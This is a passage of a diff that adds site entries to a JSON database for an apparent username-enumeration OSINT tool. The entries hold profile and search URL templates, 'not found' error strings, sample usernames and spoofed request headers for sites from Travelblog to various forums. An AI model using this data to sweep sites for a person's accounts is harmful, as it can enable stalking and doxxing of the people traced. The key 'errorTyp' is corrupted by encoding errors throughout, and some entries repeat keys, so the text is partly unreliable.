+ "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.travelblog.org/Bloggers/{}", + "urlMain": "https://www.travelblog.org", + "usernameON": "adam", + "bad_site": "" + }, + "Travelfish": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Private or invalid", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "urlMain": "https://www.travelfish.org", + "usernameON": "YeMeansWater", + "bad_site": "" + }, + "Travellerspoint": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.travellerspoint.com/users/{}/", + "urlMain": "https://www.travellerspoint.com", + "usernameON": "blue", + "bad_site": "" + }, + "Travis": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://travis-ci.community/u/{}/summary", + "urlMain": "https://travis-ci.community/", + "usernameON": "montana", + "bad_site": "" + }, + "Trello": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "model not found", + "errorMsg2": "Trello Server Error", + "errorTyp��": "message", + "url": "https://trello.com/{}", + "urlMain": "https://trello.com/", + "urlProbe": "https://trello.com/1/Members/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Trictrac": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "url": "https://www.trictrac.net/mur/{}", + "urlMain": "https://www.trictrac.net", + "usernameON": "entelechie", + "bad_site": "" + }, + "Trilife": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "urlMain": "https://trilife.ru", + "usernameON": "irina", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trinixy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://trinixy.ru/user/{}/", + "urlMain": "https://trinixy.ru", + "usernameON": "green", + "bad_site": "" + }, + "TripAdvisor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "(!cancel)", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.tripadvisor.com/Profile/{}", + "urlMain": "https://www.tripadvisor.com", + "usernameON": "blue", + "bad_site": "" + }, + "Tripline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripline.net/{}", + "urlMain": "https://www.tripline.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tripoto": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripoto.com/profile/{}", + "urlMain": "https://www.tripoto.com", + "usernameON": "kapilpandit", + "bad_site": "" + }, + "Tripster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tripster.ru/{}/", + "urlMain": "https://tripster.ru", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trisquel": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://trisquel.info/it/users/{}", + "urlMain": "https://trisquel.info", + "usernameON": "redfox", + "bad_site": "" + }, + "Trp_red": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://www.trp.red/follow/{}", + "urlMain": "https://www.trp.red", + "usernameON": "AlwaysStoic", + "bad_site": "" + }, + "Truckersmp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://truckersmp.ru/{}", + "urlMain": "https://truckersmp.ru", + "usernameON": "RamanBY", + "bad_site": "" + }, + "Trueachievements": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.trueachievements.com/gamer/{}", + "urlMain": "https://www.trueachievements.com", + "usernameON": "metallicafan459", + "bad_site": "" + }, + "Truelancer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This page could not be found.", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://www.truelancer.com/freelancer/{}", + "urlMain": "https://www.truelancer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Truesteamachievements": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "status_code", + "url": "https://truesteamachievements.com/gamer/{}", + "urlMain": "https://truesteamachievements.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Truthbook": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://truthbook.com", + "usernameON": "fanofVan", + "bad_site": "" + }, + "Truthpodium": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://truthpodium.org/@{}", + "urlMain": "https://truthpodium.org", + "usernameON": "Bubba8613", + "bad_site": "" + }, + "Trworkshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.trworkshop.net", + "usernameON": "eric", + "bad_site": "" + }, + "Ttrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, пользователь не найден", + "errorMsg2": "<title data-react-helmet=\"true\">Тропинки.ру", + "errorTyp��": "message", + "url": "https://ttrails.ru/users/{}", + "urlMain": "https://ttrails.ru", + "usernameON": "danika983", + "bad_site": "" + }, + "Ttsport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.ttsport.ru", + "usernameON": "Roos", + "comments": "bad", + "bad_site": "" + }, + "Tula": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tula.net.ru/user/{}/", + "urlMain": "http://tula.net.ru", + "usernameON": "evgenij", + "bad_site": 1 + }, + "Tulup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Нет записей, удовлетворяющих условиям запроса", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "urlMain": "https://www.tulup.ru", + "usernameON": "Murchik", + "bad_site": "" + }, + "Tumblr": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://tumblr.com/", + "usernameON": "red", + "comments": "cf", + "bad_site": "" + }, + "Tunefind": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "false,\"err\":{\"name", + "errorMsg2": "Tunefind", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tunefind.com/user/profile/{}", + "urlMain": "https://www.tunefind.com", + "usernameON": "adam", + "comments": "super", + "bad_site": "" + }, + "Turbina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://turbinatravels.com/authors/{}/", + "urlMain": "https://turbina.ru", + "usernameON": "maklai", + "comments": "bad", + "bad_site": "" + }, + "Turkey-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "Пользователей: 0", + "errorTyp��": "message", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "urlMain": "https://turkey-info.ru", + "usernameON": "orduzulu", + "bad_site": "" + }, + "Turpravda": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "https://www.turpravda.ua/profile/{}/", + "urlMain": "https://www.turpravda.ua", + "usernameON": "iryna83", + "bad_site": "" + }, + "Tutor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, введенный вами адрес недоступен", + "errorMsg2": "dtk-front-nuxt</title", + "errorTyp��": "message", + "url": "https://tutor.ru/tutor/{}", + "urlMain": "https://tutor.ru", + "usernameON": "veronika-vikulova", + "bad_site": 1 + }, + "Tutsplus": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tutsplus.com/authors/{}", + "urlMain": "https://tutsplus.com", + "usernameON": "gigi-sayfan", + "bad_site": "" + }, + "Tv-games": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://tv-games.ru/forum/member.php?username={}", + "urlMain": "http://tv-games.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "TVgab": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "For support, please email", + "errorMsg2": "The page you are looking", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://gab.com/{}", + "urlMain": "https://gab.com/", + "usernameON": "HomerWarren", + "comments": "RUblock", + "bad_site": "" + }, + "Tvtropes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "urlMain": "https://tvtropes.org", + "usernameON": "ZheToralf", + "bad_site": "" + }, + "Tw_weibo": { + "country": "🇨🇳", + "country_klas": "CN", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "<!DOCTYPE", + "errorMsg2": "Oops!", + "errorTyp��": "message", + "url": "https://tw.weibo.com/{}", + "urlMain": "https://tw.weibo.com", + "usernameON": "wow36kr", + "comments": "ZAK_user", + "ignore_status_code": true, + "bad_site": 1 + }, + "Twentysix": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://twentysix.ru/profile/{}/created/topics/", + "urlMain": "https://twentysix.ru", + "usernameON": "AleksandrGrigorev", + "bad_site": "" + }, + "Twitch": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "g:site_name' content='Twitch'><meta property='og:title' content='T", + "errorMsg2": "<title>Just a moment", + "errorMsg3": "content='@twitch'><link", + "errorTyp��": "message", + "url": "https://www.twitch.tv/{}", + "urlMain": "https://www.twitch.tv/", + "urlProbe": "https://m.twitch.tv/{}", + "usernameON": "adam", + "bad_site": "" + }, + "Twitter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "invalid_username", + "errorMsg2": "desc\":\"Available!", + "errorMsg3": "valid\":true,", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://x.com/{}", + "urlMain": "https://x.com", + "urlProbe": "https://api.twitter.com/i/users/username_available.json?username={}", + "usernameON": "durov", + "bad_site": "" + }, + "Typeracer": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "<title>Profile Not Found", + "errorMsg2": "We couldn't find a profile for username:", + "errorTyp��": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://data.typeracer.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Uanime": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень", + "errorMsg2": "Інформація", + "errorMsg3": "

    Please wait", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://uanime.org.ua", + "usernameON": "Antigonius", + "comments": "old", + "bad_site": 1 + }, + "Uaodessa": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://uaodessa.com/index/8-0-{}", + "urlMain": "https://uaodessa.com", + "usernameON": "Trentonbouri", + "bad_site": "", + "exclusion": "\\W" + }, + "Uazpatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://uazpatriot.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Ubisoft_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.ubisoft.com/user/{}?lang=en-US", + "urlMain": "https://discussions.ubisoft.com", + "usernameON": "mrdarrek", + "bad_site": 1 + }, + "Uchportal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.uchportal.ru/index/8-0-{}", + "urlMain": "https://www.uchportal.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Udemy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.udemy.com/user/{}/", + "urlMain": "https://www.udemy.com", + "usernameON": "adammortimer", + "bad_site": "" + }, + "Ufocomm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "одожд", + "errorTyp��": "message", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.ufocomm.ru", + "usernameON": "vik", + "bad_site": "" + }, + "Uforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uforum.uz/member.php?username={}", + "urlMain": "https://uforum.uz", + "usernameON": "Constantin", + "bad_site": "" + }, + "Uft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://uft.me/persons/{}", + "urlMain": "https://uft.me", + "usernameON": "darkelectro", + "comments": "old", + "bad_site": 1 + }, + "Ukraine-footbal": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "urlMain": "https://ukraine-footbal.at.ua", + "usernameON": "pavelsamoylov2022", + "bad_site": "" + }, + "Ultimate-Guitar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Universemc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://universemc.us/members/?username={}", + "urlMain": "https://universemc.us", + "usernameON": "sinnfein", + "comments": "RUblock", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Unixforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "unixforum.org - Информация", + "errorTyp��": "message", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://unixforum.org", + "usernameON": "adam", + "bad_site": "" + }, + "Unsorted": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "unsorted ~ ", + "errorTyp��": "message", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "urlMain": "https://unsorted.me", + "usernameON": "DALDON", + "bad_site": "" + }, + "Unsplash": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://unsplash.com/@{}/likes", + "urlMain": "https://unsplash.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Untappd": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com", + "usernameON": "adam", + "bad_site": "" + }, + "Uphillathlete": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://uphillathlete.com/forums/users/{}/", + "urlMain": "https://uphillathlete.com", + "usernameON": "yamabu", + "bad_site": "" + }, + "Uralfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "nowrap=\"nowrap\">

    14403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}", + "urlMain": "https://mradchenko-ezo.ucoz.ru", + "usernameON": "Telejaw", + "bad_site": "" + }, + "Forum_msa-iptv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Користувача не знайдено", + "errorTyp��": "message", + "url": "http://msa-iptv.net/index/8-0-{}", + "urlMain": "http://msa-iptv.net", + "usernameON": "grigorili", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_msextra": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search at this time", + "errorTyp��": "message", + "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.msextra.com", + "usernameON": "Laminar", + "bad_site": "" + }, + "Forum_msfn": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members", + "urlMain": "https://msfn.org", + "usernameON": "lmacri", + "bad_site": "" + }, + "Forum_msiu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://msiwind.ucoz.net/index/8-0-{}", + "urlMain": "https://msiwind.ucoz.net", + "usernameON": "TimurR", + "bad_site": "" + }, + "Forum_mskwa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://mskwa.foroesp.com", + "usernameON": "tony", + "bad_site": "" + }, + "Forum_mssuao": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mssuao.my1.ru/index/8-0-{}", + "urlMain": "https://mssuao.my1.ru/", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_mt5": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forum.mt5.com/member.php?username={}", + "urlMain": "https://forum.mt5.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Forum_mta-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mta-info.ru/index/8-0-{}", + "urlMain": "https://mta-info.ru", + "usernameON": "Online", + "bad_site": "" + }, + "Forum_mtbr": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mtbr.com/members/?username={}", + "urlMain": "https://www.mtbr.com", + "usernameON": "aargar", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_mucs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mucs.ucoz.ru/index/8-0-{}", + "urlMain": "https://mucs.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_muffingroup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.muffingroup.com/betheme/profile/{}", + "urlMain": "https://forum.muffingroup.com", + "usernameON": "charlie27", + "bad_site": "" + }, + "Forum_muppet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not filled", + "errorMsg2": "Please wait", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "exclusion": "[а-яА-Я]", + "url": "https://muppet.fandom.com/wiki/User:{}", + "urlMain": "https://muppet.fandom.com", + "usernameON": "Reidtaub", + "bad_site": "" + }, + "Forum_musclemecca": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://musclemecca.com/members/?username={}", + "urlMain": "https://musclemecca.com", + "usernameON": "tkd", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_musflat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://musflat.kamrbb.ru", + "usernameON": "555serg2005", + "bad_site": "" + }, + "Forum_musik3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://musik3.ucoz.ru/index/8-0-{}", + "urlMain": "http://musik3.ucoz.ru/", + "usernameON": "Futbolki", + "bad_site": "" + }, + "Forum_muz-tv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://muz-tv-forum.ucoz.ru", + "usernameON": "nadinvorobei", + "bad_site": "" + }, + "Forum_muzcom": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzcom.kamrbb.ru", + "usernameON": "%CA%EE%ED%F0%E0%E4", + "bad_site": "" + }, + "Forum_muzlar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzlar.kamrbb.ru", + "usernameON": "%F8%F3%EC%E8%EB%E8%ED", + "bad_site": "" + }, + "Forum_mxlinux": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.mxlinux.org", + "usernameON": "Stevo", + "bad_site": "" + }, + "Forum_mya": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.mya-uk.org.uk", + "usernameON": "downbytheriver", + "bad_site": "" + }, + "Forum_myaudiq5": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myaudiq5.com/members/?username={}", + "urlMain": "https://www.myaudiq5.com", + "usernameON": "sargeq5", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mybb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}", + "urlMain": "https://forum.mybb.ru", + "usernameON": "Deff", + "bad_site": "" + }, + "Forum_mybeautyconsultant": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mybeautyconsultant.net/forum/members/?username={}", + "urlMain": "https://mybeautyconsultant.net", + "usernameON": "blackcoffee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Mybirds": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, ", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy", + "urlMain": "https://www.mybirds.ru/", + "usernameON": "Tanban", + "bad_site": "" + }, + "Forum_mybmwi3": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mybmwi3.com/members/?username={}", + "urlMain": "https://www.mybmwi3.com", + "usernameON": "robjones", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mychevybolt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mychevybolt.com/members/?username={}", + "urlMain": "https://www.mychevybolt.com", + "usernameON": "timetoy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mycity-military": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "tim imenom ne postoji ", + "errorMsg2": "MyCity Military", + "errorTyp��": "message", + "url": "https://www.mycity-military.com/Korisnik/{}/", + "urlMain": "https://www.mycity-military.com", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_mycoffee": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mycoffee.ucoz.ru/index/8-0-{}", + "urlMain": "https://mycoffee.ucoz.ru", + "usernameON": "Азазелло", + "bad_site": "" + }, + "Forum_mycoweb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://myfc.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfc.ucoz.ru", + "usernameON": "jag", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_myfocuselectric": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myfocuselectric.com/members/?username={}", + "urlMain": "https://www.myfocuselectric.com", + "usernameON": "atikovi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myfriendsclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfriendsclub.ucoz.ru", + "usernameON": "crasnovp1t", + "bad_site": "" + }, + "Forum_myfxbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.myfxbook.com/members/{}", + "urlMain": "https://www.myfxbook.com", + "usernameON": "esmumuex", + "bad_site": "" + }, + "Forum_mygolfspy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.mygolfspy.com", + "usernameON": "bmdubya", + "bad_site": "" + }, + "Forum_myimiev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://myimiev.com/members/?username={}", + "urlMain": "https://myimiev.com", + "usernameON": "jray3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myimmortal": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": 